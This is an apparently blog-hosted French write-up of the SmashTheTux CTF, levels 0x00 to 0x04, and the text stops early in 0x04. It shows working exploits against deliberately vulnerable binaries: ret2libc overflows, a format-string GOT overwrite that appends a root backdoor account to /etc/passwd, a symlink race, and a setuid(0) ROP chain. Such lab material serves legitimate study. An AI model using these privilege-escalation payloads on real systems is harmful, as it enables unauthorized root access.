SmashTheTux est un CTF tourné vers l’exploitation de binaires et créé par le site https://canyoupwn.me/ qui, hé ! il existe encore, même si les derniers articles sur le site datent de 2019.
Mais peu importe : les exercices sont intéressants et c’est tout ce qui importe.
Level 0x00
Aucun doute possible, on est ici dans le cas d’un buffer-oferflow tout ce qu’il y a de plus classique :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// gcc pwnme.c -o pwnme -fno-stack-protector
#include <stdio.h>
#include <string.h>
void vuln( char * arg ) {
char buf[256];
strcpy(buf, arg);
}
int main(int argc, char **argv) {
printf("Val: %s\n", argv[1]);
vuln(argv[1]);
return 0;
}
La pile n’est pas randomisée. C’est je pense le gros point de ce CTF sans quoi la difficulté serait bien au delà.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
tux@tux:~/0x00$ cat /proc/sys/kernel/randomize_va_space
0
tux@tux:~/0x00$ gdb -q ./pwnme
Reading symbols from ./pwnme...(no debugging symbols found)...done.
(gdb) r aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaad
Starting program: /home/tux/0x00/pwnme aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaad
Val: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaad
Program received signal SIGSEGV, Segmentation fault.
0x63616172 in ?? ()
(gdb) info reg
eax 0xbffff450 -1073744816
ecx 0xbffff8f0 -1073743632
edx 0xbffff5e0 -1073744416
ebx 0xbffff590 -1073744496
esp 0xbffff560 0xbffff560
ebp 0x63616171 0x63616171
esi 0x0 0
edi 0x0 0
eip 0x63616172 0x63616172
eflags 0x10286 [ PF SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/s $eax
0xbffff450: "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab"...
(gdb) x/i 0x08048393
0x8048393 <deregister_tm_clones+35>: call *%eax
J’ai utilisé une chaine sans répétition de patterns de 4 caractères générée par pwntools
.
A l’aide de ces caratères qui se retrouvent dans les registres je peux déterminer que l’adresse de retour est à l’offset 268 et que eax
pointe sur le début du buffer.
On serait tenté d’utiliser un gadget du style call eax
comme affiché plus haut et de placer notre shellcode au début du payload mais on serait accueilli par un beau sigsev
car la stack est non executable (NX
).
La solution est d’utiliser un ret2libc
donc placer l’adresse de system
(0xb7e643e0
) sur la stack et plus loin un pointeur vers une chaine de caractères correspondant au programme à exécuter.
Le binaire n’affiche ici qu’un seul message, on peut se servir du s
final pour l’exécution :
1
2
3
4
(gdb) x/s 0x8048530
0x8048530: "Val: %s\n"
(gdb) x/s 0x8048536
0x8048536: "s\n"
1
2
3
4
5
6
tux@tux:~/0x00$ cp /bin/dash s
tux@tux:~/0x00$ export PATH=.:$PATH
tux@tux:~/0x00$ ./pwnme `python -c 'print "A" * 268 + "\xe0\x43\xe6\xb7AAAA\x36\x85\x04\x08"'`
Val: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�C��AAAA6�
# id
uid=1000(tux) gid=1000(tux) euid=0(root) groups=1000(tux),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
On voit bien que l’on dispose du effective UID à 0. NB: Les binaires sur ce CTF ne sont pas setuid root, j’ai modifié les droits pour que le résultat soit plus visible.
Level 0x01
1
2
3
4
5
6
7
8
9
10
11
// gcc pwnme.c -o pwnme -fno-stack-protector
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv) {
char text[1024];
scanf("%1024s", text);
printf(text);
exit(0);
}
1
2
3
tux@tux:~/0x01$ ./pwnme
AAAA%4$08x
AAAA41414141
Hé oui, ici il s’agit de l’exploitation de format string. On est vraiment sur la base car il n’y a aucune donnée affichée avant la chaine de format en question.
1
2
3
4
5
6
tux@tux:~/0x01$ gdb -q ./pwnme
Reading symbols from ./pwnme...(no debugging symbols found)...done.
(gdb) p exit
$1 = {<text variable, no debug info>} 0x8048350 <exit@plt>
(gdb) x/i 0x8048350
0x8048350 <exit@plt>: jmp *0x8049754
Notre objectif va être d’exploiter cette format string pour écraser l’adresse d’exit
(appelé en fin d’exécution) dans la GOT par un pop-ret
pour faire dévier l’exécution vers notre ROP chain.
Les différentes instructions pop
vont servir à faire le ménage sur la stack afin que l’adresse de retour qui nous intéresse soit au sommet de la pile.
Avec ROPgadget je trouve différents gadgets utiles :
1
2
3
4
5
0x0804852f : pop ebp ; ret
0x0804852c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08048315 : pop ebx ; ret
0x0804852e : pop edi ; pop ebp ; ret
0x0804852d : pop esi ; pop edi ; pop ebp ; ret
Il faut prévoir de la place pour notre ROP chain, je prévois un certain nombre de caractères puis je retrouve l’offset auquel les données se réfléchissent (ici en position 14) :
1
2
3
tux@tux:~/0x01$ ./pwnme
1111222233334444555566667777888899990000AAAA%14$08x
1111222233334444555566667777888899990000AAAA41414141
Ecraser l’adresse de exit
dans la GOT via la format strinsg est une chose mais faire en sorte que le premier gadget saute vers nos données sur la stack en est une autre.
A l’exécution je me rend compte que ça va être difficile de sauter où il faut car il y a un paquet de données à ignorer avant de parvenir au bon endroit.
J’ai trouvé ce gadget qui va remonter dans la stack de 44 octets. L’instruction ret
finale permettra alors de sauter vers un autre gadget de notre choix :
1
0x08048529 : add esp, 0x1c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
L’adresse de exit
dans la GOT a déjà les 2 octets de poids fort à 0x0804
par conséquent il nous reste à écrire la partie 0x8529
(octets de poids faible de l’adresse du gadget).
0x8529
équivaut 34089 en décimal. Il faut retrancher les 44 octets qui précèdent la chaine de format donc 34089 - 44 = 34045
octets à écrire (via le format %x
)
Je peut générer un fichier qui servira d’input au programme vulnérable :
1
$ python2 -c 'print "1111222233334444555566667777888899990000\x54\x97\x04\x08%34045x%14$hn"' > input
Et je peux ensuite déboguer le programme pour placer un breakpoint sur le gadget ce qui me permettra d’observer la stack et les registres à ce moment et déterminer vers quoi m’orienter.
Je peux faire un simple ret2libc
en plaçant sur la stack l’adresse de system()
et l’adresse de la chaine /bin/sh
trouvée en mémoire dans la libc (rappel : l’ASLR n’est pas actif)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
(gdb) info proc map
process 2085
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0x0 /home/tux/0x01/pwnme
0x8049000 0x804a000 0x1000 0x0 /home/tux/0x01/pwnme
0xb7e25000 0xb7e26000 0x1000 0x0
0xb7e26000 0xb7fcd000 0x1a7000 0x0 /lib/i386-linux-gnu/i686/cmov/libc-2.19.so
0xb7fcd000 0xb7fcf000 0x2000 0x1a7000 /lib/i386-linux-gnu/i686/cmov/libc-2.19.so
0xb7fcf000 0xb7fd0000 0x1000 0x1a9000 /lib/i386-linux-gnu/i686/cmov/libc-2.19.so
0xb7fd0000 0xb7fd3000 0x3000 0x0
0xb7fd8000 0xb7fdc000 0x4000 0x0
0xb7fdc000 0xb7fdd000 0x1000 0x0 [vdso]
0xb7fdd000 0xb7fdf000 0x2000 0x0 [vvar]
0xb7fdf000 0xb7ffe000 0x1f000 0x0 /lib/i386-linux-gnu/ld-2.19.so
0xb7ffe000 0xb7fff000 0x1000 0x1f000 /lib/i386-linux-gnu/ld-2.19.so
0xb7fff000 0xb8000000 0x1000 0x20000 /lib/i386-linux-gnu/ld-2.19.so
0xbffdf000 0xc0000000 0x21000 0x0 [stack]
(gdb) find /b 0xb7e26000, 0xb7fcd000, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68
0xb7f85a69
1 pattern found.
(gdb) x/s 0xb7f85a69
0xb7f85a69: "/bin/sh"
Ca nous donne l’exploit suivant :
1
2
3
4
$ python2 -c 'print "111122223333444455556666\xe0\x43\xe6\xb78888\x69\x5a\xf8\xb70000\x54\x97\x04\x08%34045x%14$hn"' > input
---------------------------------------------^^^^^^^^^^^^^^^^----^^^^^^^^^^^^^^^^----^^^^^^^^^^^^^^^^-----^^^------
adresse de system adresse de adresse de écriture
prise via pop*-ret /bin/sh exit de l'adresse pop*-ret
Malheureusement le shell que l’on obtient n’est pas setuid
root, potentiellement bash a dropppé l’effective UID. Il faut dire que notre ROP-chain n’appelle pas la fonction setuid
.
Plutôt que d’appeller des appels à bash successifs on peut faire en sorte que le programme vulnérable appelle un exécutable à nous qui fera une opération différente comme ajouter un compte dans le fichier /etc/passwd
.
Je récupère une chaine de caractères dans la mémoire du programme ainsi que l’adresse réelle de exit
qui sera plus propre pour fermer la ROP-chain :
1
2
3
4
(gdb) x/s 0xb7f859f3
0xb7f859f3: "densize"
(gdb) p exit
$1 = {<text variable, no debug info>} 0xb7e571b0 <__GI_exit>
On aura l’exploit suivant :
1
2
3
$ python2 -c 'print "111122223333444455556666\xe0\x43\xe6\xb7\xb0\x71\xe5\xb7\xf3\x59\xf8\xb7\xf3\x59\xf8\xb7\x54\x97\x04\x08%34045x%14$hn"' > input
^^^^^^^^^^^^^ ^^^^^^^^^^^^ ^^^^^^^^^^^^ ^^^^^^^^^^^^ ^^^^^^^^^^^^
system() exit() "densize" arg de exit exit@got (adresse à écraser)
Et l’ensemble de l’exécution :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
tux@tux:~/0x01$ cat newpassword.c
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
int main(void) {
FILE * fd;
fd = fopen("/etc/passwd", "a");
fputs("devloop:ueqwOCnSGdsuM:0:0::/root:/bin/sh\n", fd);
fclose(fd);
}
tux@tux:~/0x01$ gcc -o densize newpassword.c
tux@tux:~/0x01$ export PATH=.:$PATH
tux@tux:~/0x01$ python2 -c 'print "111122223333444455556666\xe0\x43\xe6\xb7\xb0\x71\xe5\xb7\xf3\x59\xf8\xb7\xf3\x59\xf8\xb7\x54\x97\x04\x08%34045x%14$hn"' > input
tux@tux:~/0x01$ ./pwnme < input
On retrouve notre ligne en fin de /etc/passwd
:
1
2
3
4
5
6
tux@tux:~/0x01$ tail -1 /etc/passwd
devloop:ueqwOCnSGdsuM:0:0::/root:/bin/sh
tux@tux:~/0x01$ su devloop
Password:
# id
uid=0(root) gid=0(root) groups=0(root)
Level 0x02
Ici pas de débordement de buffer, l’objectif est de rentrer dans le premier block if
qui nous permettra de lire le contenu du fichier .readthis
de l’utilisateur root
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// gcc pwnme.c -o pwnme
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#define UID 1000
#define GID 1000
int main (int argc, char **argv)
{
FILE *fp;
struct stat st;
char content[255];
stat(argv[1], &st);
// printf("%d %d\n", st.st_uid, st.st_gid);
if ( ((st.st_uid ^ UID) & (st.st_gid ^ GID)) == 0) {
puts("Access Granted.");
fp = fopen(argv[1], "r");
fgets(content, 255, (FILE*)fp);
fclose(fp);
printf("%s\n", content);
} else {
puts("Access Denied.");
exit(-1);
}
return 0;
}
C’est un cas de race condition qui rappelle le level 10 de Nebula sauf qu’ici il y a très peu de marge de manœuvre entre le test et la lecture (alors qu’une connexion TCP était établie sur le Nebula
).
Le binaire (qui est setuid root
) vérifie que le fichier appartient à l’utilisateur tux
du système (uid 1000) et si c’est le cas il affiche son contenu. Nous, nous souhaitons bien sûr profiter du bit setuid pour afficher le contenu d’un fichier appartenant à root.
À noter que la fonction stat()
résoud corretement les liens symboliques donc un lien symbolique sur /etc/passwd
retournera un UID de 0.
J’ai d’abord repris le code du précédent CTF :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import os
while True:
try:
os.unlink("/tmp/readable")
except Exception:
pass
fd = open("/tmp/readable", "a")
fd.close()
try:
os.unlink("/tmp/readable")
except Exception:
pass
os.symlink("/home/tux/0x02/.readthis", "/tmp/readable")
Mais ça ne donnait rien de bon, on obtenait parfois des données invalides dues à un comportement indéfini (quand le lien symbolique a été supprimé entre temps) :
1
2
3
4
5
6
7
tux@tux:~/0x02$ python race.py &
[1] 16980
tux@tux:~/0x02$ ./pwnme /tmp/readable
Access Denied.
tux@tux:~/0x02$ ./pwnme /tmp/readable
Access Granted.
M���B���
J’ai essayé de réécrire le code en C en effectuant de multiples essais et en augmentant graduellement la temporisation entre les changements du lien symolique :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <unistd.h>
#include <stdio.h>
#define PATH "/tmp/readable"
#define TARGET "/home/tux/0x02/.readthis"
int main(int argc, char *argv[]) {
unsigned int delay = 1;
while (1) {
unsigned int tries = 0;
for (tries=0; tries<1000000; tries++) {
unlink(PATH);
symlink("/home/tux/0x02/hint", PATH);
usleep(delay);
unlink(PATH);
symlink(TARGET, PATH);
usleep(delay);
}
delay++;
printf("%u\n", delay);
}
return 0;
}
Mais ça ne fonctionnait pas mieux. Un coup de strace
sur un appel à la commande ln
prouvait que si le fichier existe déjà le programme passe nécessairement par unlink
(suppression) avant de créer un nouveau lien symbolique.
Bref, nous ne sommes pas assez rapides. Un blog indiquait que la seule solution est d’avoir recours à un renommage qui permet une opération atomique :
How to change symlinks atomically - Tom Moertel’s Blog
En lisant la manpage de rename
on trouve une option RENAME_EXCHANGE
qui fonctionne de manière atomique : deux fichiers peuvent être ainsi permutés sans passer par un état temporaire.
J’ai eu un peu de mal à utiliser la fonction renameat2
qui ne peut visiblement pas s’employer telle quelle mais fonctionne via la fonction syscall()
:
1
2
3
4
5
6
7
8
9
10
11
12
#define _GNU_SOURCE
#include <linux/fs.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/syscall.h>
int main(void) {
while (1) {
syscall(SYS_renameat2, AT_FDCWD, "tuxowned", AT_FDCWD, "rootowned", RENAME_EXCHANGE);
}
return 0;
}
Il faut d’abord créer les deux liens symboliques qui seront permutés :
1
2
tux@tux:~/0x02$ ln -s .readthis rootowned
tux@tux:~/0x02$ ln -s hint tuxowned
On lance le programme d’exploitation en tache de fond et on boucle sur le programme vulnérable jusqu’à la réussite (qui vient assez vite) :
1
2
tux@tux:~/0x02$ while true; do ./pwnme tuxowned ; done | grep -v Denied | grep -v Granted | grep -v Sorry | egrep -ve '^$'
You've Successfully exploited Race Condition!
Level 0x03
On dispose du code source suivant :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// gcc -mpreferred-stack-boundary=2 -fno-stack-protector pwnme.c -o pwnme
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int mystrcpy(const char * text) {
char buff[512];
if(strlen(text) > 512){
puts("Nice Try.");
exit(-1);
} else {
strcpy(buff, text);
}
return 0;
}
int main(int argc, char **argv) {
mystrcpy(argv[1]);
return 0;
}
L’exécutable est dans les mêmes dispositions que les précédents :
1
2
3
$ checksec --file pwnme
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH pwnme
Si on passe 512 octets au binaire, c’est suffisant pour le faire crasher :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
tux@tux:~/0x03$ gdb -q ./pwnme
Reading symbols from ./pwnme...(no debugging symbols found)...done.
(gdb) r aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaaf
Starting program: /home/tux/0x03/pwnme aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaaf
Program received signal SIGSEGV, Segmentation fault.
0x66616162 in ?? ()
(gdb) info reg
eax 0x0 0
ecx 0xbffff8f0 -1073743632
edx 0xbffff50c -1073744628
ebx 0xb7fcf000 -1208160256
esp 0xbffff508 0xbffff508
ebp 0x6661617a 0x6661617a
esi 0x0 0
edi 0x0 0
eip 0x66616162 0x66616162
eflags 0x10286 [ PF SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/s $ecx
0xbffff8f0: ""
(gdb) x/s $edx
0xbffff50c: ""
(gdb) x/s $ebx
0xb7fcf000: "\250\215\032"
(gdb) x/s $esp
0xbffff508: "caaf"
Grâce à la chaine cyclique générée par pwntools
on détermine que eip
est écrasé par les 4 avant derniers octets de la chaine (baaf
) et que esp
pointe sur les 4 derniers.
Là encore NX
nous oblige à utiliser une ROP-chain et un appel seul à system
ne nous donnera pas l’effective UID souhaité.
Il faut donc être en mesure d’appeller setuid(0)
via des gadgets tout en sachant qu’on ne peut pas placer la valeur 0 sur la stack à cause de strcpy
qui s’arrête au premier octet nul.
L’autre difficulté majeure, c’est qu’on a vu que le programme n’est pas vulnérable si on lui donne plus de 512 octets or au moment où le flux d’exécution est détourné esp
pointe sur les derniers octets… ça nous laisse très peu de place.
Il faut par conséquent commencer par un gadget qui fera pointer esp
dans les adresses plus basses, sur le début de notre buffer. Voici quelques exemples trouvés :
1
2
3
4
0x08048549 : add esp, 0x1c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0xb7e42156 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0xb7ef5d06 : sub esp, 0x1c ; leave ; ret
0xb7e29930 : pop esp ; ret
Le dernier est parfait car l’ASLR étant désactivé on peut fixer esp
à l’adresse que l’on souhaite.
Il suffit de placer l’adresse du gadget suivi de la nouvelle adresse dans notre payload pour obtenir notre stack pivot :
1
(gdb) r `python -c 'print "A"*504 + "\x30\x99\xe2\xb7\x0c\xf3\xff\xbf"'`
Malheureusement tout rendre relatif à l’adresse de la stack peut rendre notre exploit instable : le moindre changement sur l’environnement va décaler les adresses et l’exploit sera inopérant.
Pour résoudre cela, la technique que j’ai utilisé consiste à exécuter le binaire avec un environnement contrôlé limité à des variables d’environnement prédéfinies.
Maintenant il faut nous concentrer sur l’appel à setuid(0)
. Les gadgets comportant un push
sont généralement inutilisables car ils cassent la ROP-chain (bye bye l’adresse poppée par ret
). Il faut donc trouver un gadget qui écrit explicitement quelques octets plus loin que esp
:
1
0xb7e963f0 : mov dword ptr [eax + 8], 0 ; ret
Parfait ! Avec ce gadget on peut écrire 0
n’importe où en mémoire du moment qu’on contrôle eax
. Ce qui nous amène à ce second gadget :
1
0xb7e6728a : pop eax ; pop ebx ; pop esi ; pop edi ; ret
Maintenant il faut récupérer l’adresse de setuid
(0xb7edde50
) puis celle de system
et /bin/sh
:
1
2
3
4
5
6
7
(gdb) p system
$5 = {<text variable, no debug info>} 0xb7e643e0 <__libc_system>
(gdb) find /b 0xb7e26000,0xb7fcd000, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68
0xb7f85a69
1 pattern found.
(gdb) x/s 0xb7f85a69
0xb7f85a69: "/bin/sh"
Après un bon moment à manier gdb
je suis parvenu à l’exploit suivant :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import os
from struct import pack
pop_esp = 0xb7e29930 # pop esp ; ret
push_0 = 0xb7e963f0 # mov dword ptr [eax + 8], 0 ; ret
pop_eax = 0xb7e6728a # pop eax ; pop ebx ; pop esi ; pop edi ; ret
setuid = 0xb7edde50
system = 0xb7e643e0
bin_sh = 0xb7f85a69
buff_addr = 0xbffff9bc
uid_offset = 24
# On fixe l'environnement pour s'éviter des surprises
myenv = {
"SHELL": "/bin/bash",
"TERM": "xterm-256color",
"USER": "root",
"PATH": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"PWD": "/home/tux/0x03",
"HOME": "/root",
}
payload = pack("<I", pop_eax) # pop to eax and some other registers
payload += pack("<I", buff_addr + uid_offset) # eax = addr where the arg for setuid (0) will be put
payload += "P" * 12
payload += pack("<I", push_0) # write 0 to [eax+8] (overwrite OOOO bellow)
payload += pack("<I", setuid)
payload += pack("<I", system)
payload += "OOOO" # will be overwritten by 0s
payload += pack("<I", bin_sh)
payload += "iminyourmemorywritingmyshellcode" * 9 # padding
payload += pack("<I", pop_esp) # overwrite the real return addr
payload += pack("<I", buff_addr) # set esp so the stack is the start of our buffer
payload += "A" * (512 - len(payload))
os.execve("./pwnme", ["./pwnme", payload], myenv)
L’exploitation se déroule comme ceci :
l’adresse de retour est écrasée par le
pop esp, ret
qui changeesp
par la valeur qui suit et le fait pointer au début du bufferpop eax ; pop ebx ; pop esi ; pop edi ; ret
est appelé et lit ainsi l’adresse où l’on veut placer la valeur0
. Cette adresse est stockée danseax
. On place du padding pour les autrespop
mov dword ptr [eax + 8], 0 ; ret
est exécuté pour écrire0
à l’adresse de notre choix soit 8 octets après la valeur courante deesp
(là ou j’ai misOOOO
en placeholder)setuid
est appelé et va chercher son argument 2 dwords plus loin doncsetuid(0)
system()
est appelé et utilise là encore l’argument qui est à deux dwords plus loin donc/bin/sh
1
2
3
tux@tux:~/0x03$ python exploit.py
# id
uid=0(root) gid=1000(tux) groups=1000(tux),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
Level 0x04
On a ici un programme qui lit d’abord une taille donnée sur 2 octets puis lit le reste.
On est sur un stack overflow :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// gcc -fno-stack-protector pwnme.c -o pwnme
#include <stdio.h>
#include <stdint.h>
#define MAX_LEN 1024
struct foo {
uint16_t len;
char content[MAX_LEN];
} foo;
int foo_cpy(FILE *fp) {
struct foo bar;
fread(&bar.len, sizeof(uint16_t), 1, fp);
if ((bar.len+1 & 0xff) > MAX_LEN) {
puts("Bad dog!");
} else {
puts("Good.");
fseek(fp, 2, SEEK_SET);
fread(&bar.content, 1, bar.len, fp);
printf("%s\n", bar.content);
}
fclose(fp);
return 0;
}
int main(int argc, char **argv) {
FILE * fp;
fp = fopen(argv[1], "r");
foo_cpy(fp);
return 0;
}
J’ai eu un peu de mal au début pour comprendre pourquoi eip
n’était pas écrasé correctement :
1
2
3
4
5
6
7
8
tux@tux:~/0x04$ python -c 'print "!!" + "A" * 1040' > input
tux@tux:~/0x04$ ./pwnme input
Good.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
o|"�
Segmentation fault
tux@tux:~/0x04$ dmesg | tail -1
[273533.570338] pwnme[30520]: segfault at 44 ip b7f4d706 sp bffff250 error 4 in libc-2.19.so[b7e26000+1a7000]
Il s’agissait en fait du retour à la ligne en fin du fichier généré qui faussait l’exploitation :
1
2
3
4
5
6
7
tux@tux:~/0x04$ python -c 'import sys;sys.stdout.write("!!" + "A" * 1040)' > input
tux@tux:~/0x04$ ./pwnme input
Good.
